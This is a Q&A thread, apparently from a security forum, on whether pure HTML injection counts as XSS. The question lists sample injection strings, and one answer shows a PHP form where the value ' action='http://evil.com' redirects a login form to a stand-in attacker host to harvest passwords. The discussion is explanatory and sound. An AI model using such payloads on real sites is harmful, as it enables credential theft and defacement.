0

I'm wondering if we can consider the injection of HTML tags like a, image, img, video, audio, marquee or iframe without an event attribute as XSS? Since no JavaScript is involved and therefor no JavaScript code is included and executed. But an (external) resource is loaded or in case of the marquee tag an animation is triggered (often screwing up the template). As well as for the a-tag the risk of being able to include clickable URL's.

So is a pure HTML injection (even if it breaks something like an input field) considered as valid XSS, and what would be the motivation to explain that it is valid XSS?

A few examples:

  1. "><marquee>123
  2. "><img src=http://example.com/a.jpg
  3. <a href=//example.com>123</a>
2

No, I would not call that cross site scripting, since there is no actual scripting involved. But that does not mean it is not a security risk! The correct term for the vulnerability would be "HTML injection", and as you note in your question it can be a dangerous thing.

Here's another example, just to show how HTML injection can indeed be used to cause real damage. Let's say you have this PHP code:

echo "<form method='post' class='" + $untrusted + "' action='login.php'>";

And lets say that $untrusted is set to ' action='http://evil.com. No need for XSS when you can harvest passwords using pure old HTML.

  • 1
    Also related is content spoffing. You can make it appear for less technical people as though a legitimate website is hosting adult or abuse material, even though the content is being injected from the URL (or injected into the DB). It can also be used to deface the website by overlaying the entire website with the attacker's message. – Erlend Jun 19 '16 at 7:49
2

I think the scenario you are talking should be called HTML injection. Sometimes, there might be an XSS filter deployed which does not allow any event attribute (the list is huge) as well as script tags. In that case, "getting XSS is hard". Although, blacklists seldom work to prevent XSS.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.